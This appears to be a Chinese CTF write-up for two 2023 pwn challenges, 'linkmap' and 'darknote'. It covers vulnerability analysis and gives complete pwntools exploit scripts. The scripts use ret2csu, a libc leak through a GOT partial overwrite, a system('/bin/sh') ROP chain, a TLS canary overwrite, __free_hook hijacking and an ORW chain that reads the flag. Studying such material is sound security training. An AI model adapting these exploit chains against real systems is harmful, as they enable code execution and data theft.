0%

巅峰极客CTF2023

linkmap

1
2
3
4
5
6
ezzzz: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a331b6bb1b0e27817885f5fb27f2bf0ff9cdc0ea, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,NX

漏洞分析

栈溢出漏洞:

1
read(0, buf, 0x100uLL);

程序还有一个后门:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall backdoor(int index, int index2, int data)
{
int keyt; // [rsp+14h] [rbp-Ch] BYREF

if ( key != 0xDEADBEEFLL || key )
{
if ( key == 0xBEEFDEADLL )
(&bufg)[index][index2] = data;
}
else
{
_isoc99_scanf("%d", &keyt);
key2 = (char *)keyt;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall backdoor2(unsigned int index, int key, int index2)
{
char *data; // [rsp+14h] [rbp-8h]

data = *(char **)&key2[index]; // 漏洞点
key2 = data;
indexg = index;
if ( key == 1 )
{
(&bufg)[index2] = data;
}
else if ( !key )
{
(&bufg2)[index2] = data;
}
}

入侵思路

程序没有 write,只能依靠栈上的两个 libc 地址进行入侵,但这两处的空间太小放不下 gadget:

1
2
3
00:0000│ rsp 0x7ffe79ca8838 —▸ 0x7f97290d8083 (__libc_start_main+243) ◂— mov    edi, eax
01:00080x7ffe79ca8840 —▸ 0x7f97292f1620 (_rtld_global_ro) ◂— 0x50f6300000000
02:00100x7ffe79ca8848 —▸ 0x7ffe79ca8928 —▸ 0x7ffe79caa0ff ◂— 0x7a7a7a7a652f2e /* './ezzzz' */

比赛时没有注意 backdoor2 有个解引用,利用这个解引用可以将 GOT 表中的 libc 地址写到 bss 中,然后低位覆盖就可以获取 write 进行泄露

需要注意的是:程序没有 pop_rdx 的 gadget,需要使用 CSU 来写入 RDX 寄存器

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './ezzzz'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')
context.binary = elf

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *0x400773")
pause()

def cmd(op):
sla(">",str(op))

pop_rbp_ret = 0x0000000000400570
pop_rdi_ret = 0x00000000004007e3
pop_rsi_ret = 0x00000000004007e1
ret = 0x400773

main_addr = 0x400740
bss_addr = 0x601050
key_addr = 0x601030
leave_ret = 0x400772

read_plt = 0x4004E0
read_got = 0x600FD8

backdoor2 = 0x400606
backdoor = 0x40067C
csu_front_addr = 0x4007C0
csu_end_addr = 0x4007DA

def csu(rbx, rbp, r12, r15, r14, r13, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call(只能是got表地址)
# rdi=edi=r15d
# rsi=r14
# rdx=r13
# csu(0, 1, fun_got, rdx, rsi, rdi, last)
payload = ""
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
return payload

payload = "a"*0x18
payload += csu(0, 1, read_got, 0, key_addr, 0x100, main_addr)
p.send(payload)
sleep(0.1)
payload = p64(0xDEADBEEF) +p64(0)+ p64(read_got) + p64(0) + p64(backdoor) + p64(backdoor2)
p.send(payload)

payload = "a"*0x18
payload += csu(0, 1, bss_addr+0x8, 0, 1, 7, main_addr)
p.send(payload)

payload = "a"*0x18
payload += csu(0, 1, read_got, 0, bss_addr+0x10, 0x20, main_addr)
p.send(payload)
sleep(0.1)
"""
pwndbg> p write
$1 = {ssize_t (int, const void *, size_t)} 0x7ffff7ec7060 <__GI___libc_write>
pwndbg> p read
$2 = {ssize_t (int, void *, size_t)} 0x7ffff7ec6fc0 <__GI___libc_read>
"""
payload = p16(0x7060)
p.send(payload)

payload = "a"*0x18
payload += csu(0, 1, bss_addr+0x10, 1, read_got, 0x20, main_addr)
p.send(payload)

leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x10dfc0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system = libc_base + 0x52290
bin_sh = libc_base + 0x1b45bd

#debug()

payload = "a"*0x18
payload += p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
p.send(payload)

p.interactive()

darknote

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
darknote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1b2dc1deeac98c6b7e7acd32d37564e1e501c66e, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,Canary,NX
1
2
3
4
5
6
7
8
9
10
11
12
13
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0012
0004: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0012
0005: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0012
0006: 0x15 0x05 0x00 0x0000003c if (A == exit) goto 0012
0007: 0x15 0x04 0x00 0x000000e7 if (A == exit_group) goto 0012
0008: 0x15 0x03 0x00 0x00000009 if (A == mmap) goto 0012
0009: 0x15 0x02 0x00 0x0000000a if (A == mprotect) goto 0012
0010: 0x15 0x01 0x00 0x0000000c if (A == brk) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW

漏洞分析

整数溢出:

1
2
sizeg = writet();
chunk_list = (char **)malloc(8 * sizeg);

函数 puts 的参数可以修改:

1
2
3
4
puts("==================================");
for ( i = 0; i <= 3; ++i )
puts(off_404260[i]);
puts("==================================");
1
2
3
4
5
.data:0000000000404260 20 40 40 00 00 00 00 00       off_404260 dq offset a1AddNote          ; DATA XREF: menu+3D↑o
.data:0000000000404260 ; "1. Add Note"
.data:0000000000404268 30 40 40 00 00 00 00 00 dq offset a2ShowNote ; "2. Show Note"
.data:0000000000404270 40 40 40 00 00 00 00 00 dq offset a3DeleteNote ; "3. Delete Note"
.data:0000000000404278 50 40 40 00 00 00 00 00 dq offset a4EditNote ; "4. Edit Note"

入侵思路

使用整数溢出会导致 chunk_list 堆溢出,比赛时折腾了很多 top chunk 有关的堆风水,最后发现还是要利用大堆块申请 mmap,这样就可以在 libc 中进行溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sla("want?",str(0x600c0000))

"""
pwndbg> p &main_arena
$2 = (struct malloc_state *) 0x7ffff7fc1b80 <main_arena>
pwndbg> distance 0x7ffff77d4010 0x7ffff7fc1b80
0x7ffff77d4010->0x7ffff7fc1b80 is 0x7edb70 bytes (0xfdb6e words)
"""

libc_start_main_got = 0x403FF0
magic_addr = 0x404260

add(0xfdb6e + 0x7, p64(0) + p64(0x71) + p64(magic_addr-0x20))
add(0,"a"*8)
add(1,"a"*0x10 + p64(libc_start_main_got))

ru('==================================\n')
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x23f90
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

覆盖 TLS 上的 canary 就可以解锁 edit,show,dele,接着利用 svcudp_reply 完成栈迁移,然后打堆上 ORW 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
# -*- coding:utf-8 -*-
from re import L
from signal import pause
from pwn import *

arch = 64
challenge = './darknote1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x401B7B\n")
#gdb.attach(p,"b *$rebase(0x188A)\n")
#pause()

def cmd(op):
sla(">> ",str(op))

def add(index,data):
cmd(1)
sla("Index:",str(index))
sla("Note: ",data)

def show(index):
cmd(2)
sla("Index:",str(index))

def dele(index):
cmd(3)
sla("Index:",str(index))

def edit(index,data):
cmd(4)
sla("Index:",str(index))
sla("Note: ",data)

#debug()

sla("want?",str(0x600c0000))

"""
pwndbg> p &main_arena
$2 = (struct malloc_state *) 0x7ffff7fc1b80 <main_arena>
pwndbg> distance 0x7ffff77d4010 0x7ffff7fc1b80
0x7ffff77d4010->0x7ffff7fc1b80 is 0x7edb70 bytes (0xfdb6e words)
"""

libc_start_main_got = 0x403FF0
magic_addr = 0x404260

add(0xfdb6e + 0x7, p64(0) + p64(0x71) + p64(magic_addr-0x20))
add(0,"a"*8)
add(1,"a"*0x10 + p64(libc_start_main_got))

ru('==================================\n')
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x23f90
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + 0x1eee48
canary_libc = libc_base - -0x1f35e8
success("free_hook >> "+hex(free_hook))
success("canary_libc >> "+hex(canary_libc))

add(0xfdb6e + 0x7, p64(0) + p64(0x71) + p64(canary_libc-0x20))
add(2,"a"*8)
add(3,p64(0)*2 + "\x00"*7)

dele(0)
dele(2)
show(2)
ru(" Note: ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
heap_base = leak_addr - 0x2b0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

pop_rax_ret = libc_base + 0x0000000000036174
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_pop_r12_ret = libc_base + 0x0000000000119211
syscall_ret = libc_base + 0x0000000000120069

svcudp_reply = libc_base + 26 + 0x154dd0
leave_ret = libc_base + 0x00000000000578c8
add_rsp_0x58_ret = libc_base + 0x00000000000d0ea3
success("svcudp_reply >> "+hex(svcudp_reply))

add(0xfdb6e + 0x7, p64(0) + p64(0x71) + p64(free_hook-0x20))
add(4,"a"*8)
add(5,"a"*8)
add(6,p64(0)*2+p64(svcudp_reply))

ORW_start_addr = heap_base + 0x380

payload = "./flag\x00"
payload = payload.ljust(0x10,"\x00")
payload += p64(add_rsp_0x58_ret)
payload = payload.ljust(0x20,"\x00")
payload += p64(ORW_start_addr)
payload = payload.ljust(0x28,"\x00")
payload += p64(leave_ret)
payload = payload.ljust(0x48,"\x00")
payload += p64(ORW_start_addr+8)
success("payload len >> "+hex(len(payload)))

add(7,payload)
payload = ""
# read(0,heap_addr,0x200)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(heap_base + 0x440)
payload += p64(pop_rdx_pop_r12_ret) + p64(0x200) + p64(0)
payload += p64(syscall_ret)
success("payload len >> "+hex(len(payload)))
add(8,payload)

#pause()
dele(7)

payload = ""
# open(heap_addr,0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(ORW_start_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_pop_r12_ret) + p64(0) + p64(0)
payload += p64(syscall_ret)
# read(3,heap_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(ORW_start_addr)
payload += p64(pop_rdx_pop_r12_ret) + p64(0x60) + p64(0)
payload += p64(syscall_ret)
# write(1,heap_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(syscall_ret)

sleep(0.1)
sl(payload)

p.interactive()